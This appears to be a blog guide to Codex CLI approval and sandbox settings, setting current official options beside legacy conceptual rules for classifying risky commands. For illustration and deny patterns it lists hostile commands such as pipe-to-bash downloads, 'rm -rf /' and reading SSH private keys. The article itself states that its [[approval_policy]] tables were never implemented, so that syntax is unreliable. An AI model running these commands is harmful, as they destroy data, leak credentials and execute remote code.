Skip to content

Codex CLI approval_policy: Legacy Patterns vs Official 2026 Approval Settings

Codex CLI Complete Guide

The config syntax in this article does not match the official schema

This article preserves an older design framework for command-risk classification. It is not a copy-paste guide for current config.toml.

The [[approval_policy]] table syntax used in this article (type/pattern/action fields) is not part of the official config.toml schema. Pasting these configuration examples directly into ~/.codex/config.toml will not work — Codex CLI does not recognize these keys.

In the current Codex CLI:

  • approval_policy is a string value (untrusted / on-request / never) or a granular policy object
  • --ask-for-approval / -a accepts untrusted, on-request, and never; on-failure is deprecated
  • sandbox_mode is read-only / workspace-write / danger-full-access
  • Per-command exceptions belong in Codex rules / execpolicy, not in [[approval_policy]] TOML tables

For the practical current setup, use Codex CLI No-Approval Guide. Use this article only for the command-risk taxonomy and rollout thinking.

For / Key Points

Audience: Readers who found old [[approval_policy]] examples and want to know what Codex CLI officially supports now

Key Points:

  • The old table-based [[approval_policy]] examples are legacy conceptual examples
  • Current approval control is the combination of approval_policy, sandbox_mode, rules, profiles, and CLI flags
  • Use rules or codex execpolicy for command-level allow/prompt/block behavior

Key Points

  • Use approval_policy = "on-request" plus sandbox_mode = "workspace-write" for low-friction local work.
  • Use approval_policy = "never" only when the sandbox or the environment already constrains the blast radius.
  • Use .rules files and codex execpolicy check for command-level exceptions.

Current Official Answer

For current Codex CLI, do not write [[approval_policy]] tables. Start with these official controls instead:

# ~/.codex/config.toml
approval_policy = "on-request"   # untrusted / on-request / never / granular object
sandbox_mode = "workspace-write" # read-only / workspace-write / danger-full-access
approvals_reviewer = "user"      # or "auto_review"
# Interactive local baseline
codex --sandbox workspace-write --ask-for-approval on-request "task"

# No approval prompts, while keeping workspace sandbox boundaries
codex -a never -s workspace-write "task"

# Full access: use only inside an externally isolated environment
codex --dangerously-bypass-approvals-and-sandbox "task"

For command-level control, create .rules files and verify them with codex execpolicy check. For example:

codex execpolicy check --pretty \
  --rules ~/.codex/rules/default.rules \
  "curl https://example.com/install.sh | bash"

This is a followup to the morning article

Morning article: Codex CLI Production Failure Patterns and Immediate Solutions

Goals

  • Understand 3 implementation patterns of approval_policy and select optimal configuration per environment
  • Implement dangerous command classification criteria and whitelist/blacklist strategies
  • Build operational framework combining audit logs

Why approval_policy Matters

While --full-auto mode is essential for automation, unlimited execution privileges include these risks:

  • Data Loss: Destructive commands like rm -rf /
  • Credential Leakage: Reading sensitive files like cat ~/.ssh/id_rsa
  • External Attacks: Executing external scripts like curl malicious-site.com/payload.sh | bash

approval_policy requires individual approval for these operations, balancing automation and security.

3 Implementation Patterns

Pattern 1: Blacklist Type (Restrict Only Dangerous Commands)

Target Environment: Development environment, trusted task sets

# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"

[[approval_policy]]
type = "command"
pattern = "^rm\\s+-rf\\s+/"
action = "require"
reason = "Root directory deletion prevention"

[[approval_policy]]
type = "command"
pattern = "^dd\\s+if="
action = "require"
reason = "Disk overwrite prevention"

[[approval_policy]]
type = "command"
pattern = "(curl|wget).*\\|.*bash"
action = "require"
reason = "Remote script execution check"

Pros: Minimal constraints with flexible automation Cons: New dangerous commands undetected until first execution

Pattern 2: Whitelist Type (Execute Only Approved List)

Target Environment: Production, CI/CD, strict compliance requirements

# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"
default_action = "deny"  # Deny all undefined

[[approval_policy]]
type = "command"
pattern = "^(git|npm|python|pytest|mypy)"
action = "allow"
reason = "Standard development tools"

[[approval_policy]]
type = "file_write"
pattern = "^(src|tests|docs)/.*\\.(py|md|toml)$"
action = "allow"
reason = "Project files only"

[[approval_policy]]
type = "network"
pattern = "^https://(api\\.github\\.com|pypi\\.org)"
action = "allow"
reason = "Trusted domains"

Pros: Highest security level Cons: High operational cost for allowlist updates

Pattern 3: Hybrid Type (Hierarchical Control)

Target Environment: Enterprise, unified multi-environment management

# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"

# Highest priority: Emergency stop commands
[[approval_policy]]
priority = 1
type = "command"
pattern = "^(shutdown|reboot|init\\s+0)"
action = "deny"
reason = "System critical commands blocked"

# High priority: Dangerous commands require manual approval
[[approval_policy]]
priority = 2
type = "command"
pattern = "^(rm|dd|mkfs|fdisk)"
action = "require"
reason = "Destructive command confirmation"

# Normal priority: Development tools auto-allowed
[[approval_policy]]
priority = 3
type = "command"
pattern = "^(git|npm|pip|docker)"
action = "allow"
reason = "Standard toolchain"

# Default: Unclassified requires manual approval
[approval]
fallback_action = "require"

Pros: Optimal balance of flexibility and security Cons: Increased configuration complexity

Dangerous Command Classification Criteria

LevelCharacteristicsExamplesRecommended Action
CriticalSystem-wide impactshutdown, init 0deny
HighData loss riskrm -rf, dd, mkfsrequire
MediumSensitive info accesscat ~/.ssh/*, env \| grep SECRETrequire
LowExternal communicationcurl, wget, git cloneEnvironment-dependent

Implementation Steps

Step 1: Audit Current Commands

Extract executed commands from existing Codex session logs:

# Analyze command frequency over last 30 days
grep "Executing:" ~/.codex/logs/*.log \
  | awk '{print $3}' \
  | sort | uniq -c | sort -rn \
  | head -20

Step 2: Risk Classification

Classify extracted commands into 4 levels above, manage in CSV or similar:

Command,Risk Level,Action,Reason
git,Low,allow,Version control
rm,High,require,Data deletion
curl,Medium,require,External access
shutdown,Critical,deny,System critical

Step 3: Generate config.toml

Auto-generate configuration from classification results (script example):

#!/bin/bash
INPUT_CSV="command_risks.csv"
OUTPUT_TOML="config_approval.toml"

# ⚠️ CONCEPTUAL — NOT official config.toml syntax
echo "[approval]" > "$OUTPUT_TOML"
echo "mode = \"full-auto\"" >> "$OUTPUT_TOML"
echo "" >> "$OUTPUT_TOML"

tail -n +2 "$INPUT_CSV" | while IFS=, read -r cmd risk action reason; do
  cat >> "$OUTPUT_TOML" <<EOF
[[approval_policy]]
type = "command"
pattern = "^${cmd}"
action = "${action}"
reason = "${reason}"

EOF
done

Step 4: Gradual Rollout

  1. Week 1: Only require action (all commands manual approval for behavior verification)
  2. Week 2: Change frequent commands to allow (monitor approval logs)
  3. Week 3: Change dangerous commands to deny (check false positives)
  4. Week 4: Production deployment

Operations with Audit Log Integration

Log Analysis Script

#!/bin/bash
LOG_DIR="$HOME/.codex/logs"
ALERT_FILE="/tmp/codex_alerts.txt"

# Extract approval events from last 24 hours
find "$LOG_DIR" -name "*.log" -mtime -1 -exec \
  grep -H "approval_required\|action=deny" {} \; \
  > "$ALERT_FILE"

if [ -s "$ALERT_FILE" ]; then
  echo "⚠️  Approval events detected in last 24h:"
  cat "$ALERT_FILE"
  # Can add Slack notifications here
fi

Periodic Execution Setup

# crontab -e
0 9 * * * /path/to/log_analyzer.sh

Benchmark: Approval Overhead

Execution time comparison for 100 tasks (M1 Mac, Claude-3.5-Sonnet):

ConfigurationExecution TimeManual ApprovalsNotes
mode=interactive45 min100All tasks manual approval
Blacklist type8 min3Only 3 dangerous commands
Whitelist type9 min020 min initial setup
Hybrid type8 min22 unclassified commands

Conclusion: Blacklist and Hybrid types achieve best balance between execution time and security.

Failure Patterns and Solutions

SymptomCauseSolution
Regex matches all commandsGeneric patterns like pattern = ".*"Start with specific command names (^git, etc.)
Allowed commands get deniedWrong priority orderSet allow rules to high priority, deny to low
Not loggedlog_level = "error" configuredChange to log_level = "info"
Config changes not reflectedExisting session using old configStart a new Codex session or rerun the command

FAQ

Q: Which regex dialect is supported in pattern? A: Compliant with Rust's regex crate. Lookahead/lookbehind not supported. Refer to official docs.

Q: Can network access be controlled by policy? A: type = "network" for fine-grained control was not implemented. Network access is controlled via [sandbox_workspace_write].network_access = true/false, or by setting sandbox_mode = "danger-full-access" for full access.

Q: How to use different policies across multiple environments? A: Use named profile files and launch with --profile / -p. In current Codex CLI, profile settings live in separate files such as ~/.codex/prod.config.toml, not under [profiles.prod] inside the base config.

Current Official Approval Control (2026)

The [[approval_policy]] table syntax described in this article was never implemented. As of 2026, Codex CLI approval and sandbox settings are controlled as follows:

config.toml Settings

# ~/.codex/config.toml
approval_policy = "on-request"    # untrusted / on-request / never / granular object
sandbox_mode = "workspace-write"  # read-only / workspace-write / danger-full-access

# Switch per environment with profiles
# ~/.codex/strict.config.toml
approval_policy = "on-request"
sandbox_mode = "read-only"

# ~/.codex/auto.config.toml
approval_policy = "never"
sandbox_mode = "danger-full-access"

CLI Flag Control

codex -a never -s workspace-write "task"   # Skip approval prompts, keep sandbox
codex --sandbox workspace-write --ask-for-approval on-request "task"
codex -p strict "task"                     # Use named profile

For details, see the Codex CLI Auto-Approval Mode Complete Guide (2026).

Summary

The [[approval_policy]] examples on this page are legacy conceptual examples for thinking about dangerous-command classification. Current Codex CLI operation uses approval_policy, sandbox_mode, rules, profiles, and CLI flags instead. Readers who want copy-paste settings should start from the current official controls, not from the old table syntax.

Next Steps